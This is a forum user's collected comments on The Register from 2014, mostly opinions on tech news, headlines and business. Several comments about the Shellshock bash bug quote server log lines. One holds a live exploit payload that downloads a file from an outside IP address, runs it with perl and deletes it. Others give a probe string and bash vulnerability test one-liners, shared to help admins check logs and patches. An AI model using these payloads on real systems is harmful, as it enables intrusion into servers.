* Posts by Jim 59

2047 publicly visible posts • joined 24 Jun 2009

'Theoretical' Nobel economics explain WHY the tech industry's such a damned mess

Jim 59

Say no to eccentric headline capitalization. It blights the Reg front page and makes our RSS feeds ugly.

Ingram UK basks in rosy glow of ... successful cost-cutting

Jim 59

Off topic

...but the Register has NOW published FIVE STORIES IN a row without ECCENTRIC capitalization. NICE! Please keep it up! JUST SAYIN'.

Lies, damn pies and obesity statistics: We're NOT a nation of fatties

Jim 59

Obesety

It's no good blaming others. However fat or slim you are, we all understand the temptation to eat more and more. In 2014 I would be thought of as slim. In 1975 I would have been slightly chubby. But like others, I could eat less food, and better. If you want to see what healthy weight looks like, check out almost any photo taken before 1984-ish.

Neither does it help to tell weighty folks that it is okay to be very, very obese, as some well meaning TV programmes do, for example. It isn't. Being enourmous can lead to a short, uncomfortable and less happy life. It is kinder to (politely) tell people that early on, and help them avoid it. Pretending otherwise is the worst kind if cruelty.

Lights off, nappies on! It's Alien: Isolation and The Evil Within

Jim 59

Re: As one of my friends used to joke

AKA Don't show them the monster, an excellent storyteller's rule, employed by writers from Ridley Scott to JRR Tolkien.

Women, your 'superpower' is ... NOT asking for a raise: Satya Nadella

Jim 59

Dear Register

Please cool it with the UPPER CASE HEADLINES. Just the view of a fan.

Windows 10 feedback: 'Microsoft, please do a deal with Google to use its browser'

Jim 59

Okay

Running in Virtualbox, looks fine to me. Never quite got the idea of tiles TBH, but as long as they are optional, fine. Regarding the look of the desktop, why don't MS (and Gnome for that matter) just forget it and copy the Mac ?

Women! Worried you won't get that Job in IT? Mention how hot you are

Jim 59

@Ross K

One of the biggest problems faced by professional engineers is that nobody knows what a professional engineer is, or that professional engineering exists as a thing. The Register knows, and so does everyone in this forum, for obvious reasons.

Chris Mellor's Tuesday is evidently a bit slow, so he popped in here to drop one of the best troll posts I have ever seen. Subtle but explosive, it spread soft and sticky over the faces of more volatile commentards, who sure enough frothed up in a fine "up the workers" bun fight: ...stop talking shite..., etc. etc.

Lol. Chris Mellor for CoTW vulture dropping of greatness of whatever it is.

Jim 59

or calculator

A bit like becoming a professor of engineering without ever having held a spanner slide rule.

There I fixed it. Top trolling though.

Revenge smut bullies who send 'grossly offensive' messages WILL be prosecuted

Jim 59

Off topic, but to anyone considering committing their nude selves to electronic storage, especially while performing any kind of "act" or whatever: apply a common sense algorithm. Don't do it.

Electronic pictures and movies can be circulated, copied and broadcast without limit, including accidentally. Revenge is one possibility but there are many others: a computer can be discarded, go to a repair shop, be infected with malware, backed up, an SD card or phone can be lost, forgotten about, stolen, discarded in error. Even if you encrypt, delete or "shred" the pics, copies can still hang around. Don't. Do. It.

Linux systemd dev says open source is 'SICK', kernel community 'awful'

Jim 59

@wolfton

"The man is obviously a hippie..."

Lol. Who do you think wrote unix ?

Jim 59

Re: Olivetti and Time Travel

Fair enough. This story is not about an expert raging at a noob but two experts raging at each other. I don't know if there is any justification but many 'tards appear to think that there is, with the systemd man's contributions being more of a nuisance than a help seemingly. True he does it for free, but if you are just interfering in an unwelcome way, that fact that you are doing it for free is by-the-by.

Will we ever can the spam monster?

Jim 59

@Si 1: use good Hotmail ! Goodish spam filter and no butt stuff.

Jim 59

Re: Anti-spam-iotics

Botnets often start with insecure legacy systems. Eg. Vista and earlier versions of Windows, which were inherently insecure (eg. any user can run any program, any click in email can run any program). As they fade away to be replaced by Windows 7 and later (which successfully copied the Unix "sudo" security model), botnets may fade out, like an amoeba with nowhere to go. Hopefully.

Jim 59

Re: There is only one way.

Alister has a point. Young people who were born with the 'net tend to be completely trusting of it. Middle aged folks are more cynical.

Uni boffins: 'Accurate' Android AV app outperforms most rivals

Jim 59

Virus?

By some definitions of "virus", many modern apps are viruses, in that they purport to do some legitimate thing, while covertly capturing your personal data and farming it out to agencies and associates.

So long Lotus 1-2-3: IBM ceases support after over 30 years of code

Jim 59

Re: Back in a time where...

ql says: "...we thought that Windows was looking like the future"

One year, about 1985, I attended the Personal Computer World Show at Earl's Court. It was called "Personal..." because it was organized by the magazine of the same name, but it was as much about business computers. We were all used to word processing, databases etc with an 80x25 text screen, and pretty happy with that to be honest. At least it was simple and fast. But at the Show, it was Windowing GUIs on all sides - GEM, Apricot, Apple, Windows, all the big players - and small ones - had something to push. Still monochrome, mind.

Jim 59

Re: Simply works

Have an upvote for mentioning SmartSuite. Pretty good software.

Apple blacklists tech journo following explicit BENDY iPhone vid

Jim 59
Trollface

Re: Big phone = more easily breakable..

This phone is pathetic I put one in an industrial press brake and it bent almost double.

Windows 10: One for the suits, right Microsoft? Or so one THOUGHT

Jim 59

"Store apps can run in a resizable desktop window"

A resizable desktop window. That people might actually want. Now there's a novel idea!

Third patch brings more admin Shellshock for the battered and Bashed

Jim 59

Agree here, already incorporated (Red Hat 6.5):

$ foo='() { echo not patched; }' bash -c foo

bash: foo: command not found

Jim 59

Re: More patches....

LOL. 3 patches and we...

Calm down, troll.

ARMs head Moonshot bodies: HP pops Applied Micro, TI chips into carts

Jim 59

Re: Ubuntu - Seriously?

In this market, buyers install their own OS, and systems often come without any. HP is just being polite by providing a good one for free. Replacing it with your own is one hour's work, not something that will influence anyone's buying decision.

SHELLSHOCKED: Fortune 1000 outfits Bash out batches of patches

Jim 59

Re: Meanwhile, on a web server that was already patched twice

Yes. It was a line from an Apache log showing some kiddy from Ohio trying to exploit the bug. It has taken the script kiddies three times as long to learn the exploit than it took the distros to publish the patches.

Jim 59

Re: nas and modems @Stuart Longland

Hi Sandtitz could you name some products found in your 'cursory search' to be using bash.

My Buffalo Linkstation Live NAS uses Busybox/ash.

Jim 59

Meanwhile, on a web server that was already patched twice

173.45.100.18 - - [28/Sep/2014:17:27:34 +0100] "GET /cgi-bin/hi HTTP/1.0" 404 491 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

Jim 59

Carson Sweet (excellent name) stop telling everyone that embedded devices like "TVs to soda machines" are vulnerable. They run Busybox Ash, not Bash. Or if you know any that do run bash, say which.

To any poor citizens half way up a ladder clawing their IP cameras off the wall - LEAVE IT. Go check your web servers instead.

WHY did Sunday Mirror stoop to slurping selfies for smut sting?

Jim 59

Mirror

Not exactly Woodward & Bernstein, is it ? Apart from the stuff in the article, this peccadillo would never have happened but for the actions of the Mirror. They have broken a woman heart, destroyed the bloke and ruined the lives of his 5 children. I wonder if they hacked his phone as well.

Hackers thrash Bash Shellshock bug: World races to cover hole

Jim 59

Re: How to check?

If you are running an internet facing Apache web server, check the logs for strings such as (). Eg. apart from Graham's scan yesterday, one of my servers was probed this morning from an IP address somewhere in the AWS in Thailand:

$grep \(\) access.log

54.251.83.67 - - [26/Sep/2014:06:10:55 +0100] "GET / HTTP/1.1" 403 466 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"

Thanks to El Reg, the system was already patched.

Jim 59

Just patched bash on Debian 7 for the second time in 2 days.

Jim 59

Re: Eyes on the code? Not.

Nah. No hacker worth his salt should waste time over this now. He will be better off looking for flaws that are NOT currently being worked on, discussed and updated by a fair chunk of the planet's IT experts. Shellshock's cover is "blown". Thanks partly to The Reg. The black hats may catch a few internet facing Raspberry Pi's, but to get a commercial server, they would have to work so fast the typing will give them repetitive strain injury typing.

This is a result of the "open" approach.

Jim 59

Re: How to check?

Ret Hat has released the second Bash patch in as many days. Just installed it here. Now Ormandy's test fails:

$ env X='() { (a)=>\' sh -c "echo date"; cat echo

date

cat: echo: No such file or directory

@Tenable @Register please stop telling everybody that IOT devices are at risk. IOT/embedded devices use Busybox, not Bash, as Tenable must know. If Tenable has discovered any that don't, please say which ones, or point out how Busybox vulnerability if you think there is one. Keep calm and carry on.

Bash bug: Shellshocked yet? You will be ... when this goes WORM

Jim 59

@Jim 59

Bigger items ...other hand ...business ... etc. etc.

Maybe scroll yer edit window chap. This ain't vi.

Jim 59

Yes, I pretty much would bet my life on webcams et al not using bash, for sound economic/engineering reasons. Bash is a big, big program and needs a full computing environment to run. The binary alone is over 1 MB, almost twice the size of Busybox. Even a quiescent bash instance takes several MB of memory to run, plus many libraries, plus all the other programs the user will call. Manufacturers use Busybox because it replaces all that. I have never seen an embedded device that had standalone Bash. Big NAS boxes conceivably, but I have never seen it.

The bigger danger is web servers. I saw Graham's shellshock scan at 8:20 this morning in my logs, and patched the server an hour ago. And devices like Raspberry Pi's where the user has it internet facing for

Bigger items

On the other hand, internet facing NAS devices might

systems would be out of business.

To run it, the IP webcam would have to be running a full linux kernel/environment and have

Jim 59

Saw Graham's shellshock scan on my server logs at 8:20 this morning UK time. Patched now. Those guys at Debian work fast.

Jim 59

Graham's blog says many "internet of things" devices will be vulnerable and will remain so because they can't be patched. They may be vulnerable, but not to this bug. As 'tards have pointed out, IP cameras etc. aren't equipped with Bash, why would they be ? Embedded stuff, even more substantial items like NAS boxes routers, come with Busybox only.

Also. Errr. Isn't Graham breaking the law in rather an extravagant way by blithely scanning thousands or organizations ? Notwithstanding his good intentions.

BT claims almost-gigabit connections over COPPER WIRE

Jim 59

Of course, the other group of people who love copper are thieves, who love nothing more than nicking cables to sell off to dodgy metal traders. Earlier this year, BT suffered a nationwide outage after thieves severed the telecoms giant's fibre cable in an effort to nick copper wiring.

Metal thefts in the UK have dropped 95% in the last year, since the licenses were introduced for scrap metal dealers, and cash transactions outlawed.

Jim 59

Re: Gigabit over copper?

@MrXavia I have no idea why any user need more than 640 KB.

Okay sorry about that. Good answer re cat5e, I didn't know that.

Are you a fat boy? Get to university now, you penniless slacker

Jim 59

Correlation is not causation

The test results highlight a correlation, but do not explain causes. So the paragraph beginning thus:

What’s actually happening is that the boys end up with lower cognitive skills and crushed motivation,...

...has no basis. At least no basis in the test results. It is pure editorial by Team Register, based on their own world view and opinion. Just sayin'.

Phones 4u demise: 1,700 employees laid off with redundo package

Jim 59

What fee did PwC earn from the caper ? Who recommended administration ? What part was played by BC Partners ? Did they really just buy Phones 4u, drain it of 200m and collapse the company ? How could a dividend be paid if the company was not in profit ? What prompted 4u to seek a loan ? Why would they do so if they were in profit ? All of this will be answered in the pages of Private Eye over the next 6 months.

Shades of Pheonix/Rover here ?

Apple iPhone 6: Looking good, slim. AW... your battery died

Jim 59

How about... oh, your battery died

The headline says "battery", but the reader must search to half way down page 3 to find a single small paragraph on the subject. Come on, man.

Relive the death of Earth over and over again in Extinction Game

Jim 59

Hitchhiker's Guide without the jokes?

SanDisk Extreme Pro SSD – courting speed freaks and gamers

Jim 59

Can't find the joke icon

Circa 1982 - the add-on 10MB hard disk for an Apple II was the best part of £2K.

2K in 1982 = about 6k in 2014. That is quite cheap for an Apple peripheral.

EE buys 58 Phones 4u stores for £2.5m after picking over carcass

Jim 59

Decline of the high street

...is partly our fault for shopping at the mega Tesco 5 miles away, ordering our stuff from Amazon, and partly the councils' fault for charging exorbitant business rents.

Top Gear Tigers and Bingo Boilers: Farewell then, Phones4U

Jim 59

I regard car salesmen as lazy, greasy, foul-smelling mobile dandruff dispensers.

Really ? I have found them to be friendly, efficient, usually well dressed and presented.

When 'tards complain of "sales droids" they are really complaining about the company saving money by employing people as young as possible, paying them as little as possible and offering no training.

Got your NUDE SELFIES in the cloud? Two-factor auth's your best bet for securing them

Jim 59

iCloud

"The Cloud" is basically a stranger's computer ans should be treated as such.

Hate Facebook? Hate it enough to spend $9k fleeing it? Web 'country club' built for the rich

Jim 59

Interesting story. If you want to become super-rich, don't buy shares in this site. Like all of us, the super-rich want to interact with their peers, I guess. But they have places to do that. If you were a billionaire, working 1 or 2 days a week, you might invite a few other billionaires on your yacht for fishing in St Tropez of wherever, then jet off to see how your Scottish estate is doing. You won't be short of friends, that's for sure.

'Windows 9' LEAK: Microsoft's playing catchup with Linux

Jim 59

Re: Meeeh

I sort of take h4rm0ny's point about people preferring to stick with what they know and react badly against what is new. But is isn't really like that with computers and GUIs. Users really do like good stuff, and dislike bad stuff. They are excellent judges, which is a main plank of Apple's success. Give them something nice and the like it straightaway.

I still remember how delighted the public was with the Windows 95 GUI, and how it was such an improvement over 3.1. We immediately loved the shiny new right-click context menus, and the start button menu. I never heard a single voice want to go back to 3.1.

Jim 59

Re: Meeeh

When I run out of fingers on one hand, I have another whole new hand, which I then switch to ---

Jim 59

Re: Meeeh

As Reg editors well know or could have found with one Google search, almost every windowing system ever written has had multiple desktops. Either built in or with a bit of freeware. Remember Bigdesk on Windows 3.1 ? In fact, multiple desktops were more heavily used then due to the low resolutions in use.

Apple CEO Tim Cook: TV is TERRIBLE and stuck in the 1970s

Jim 59

Re: TV / Panel / VDU

Like a hi-fi, you switch on each box you intend to use. Seperately, or box clever with multi-way power sockets and a Harmony remote or similar.

Admittedly, with Harmony's demise, the programmable remote biz has died somewhat.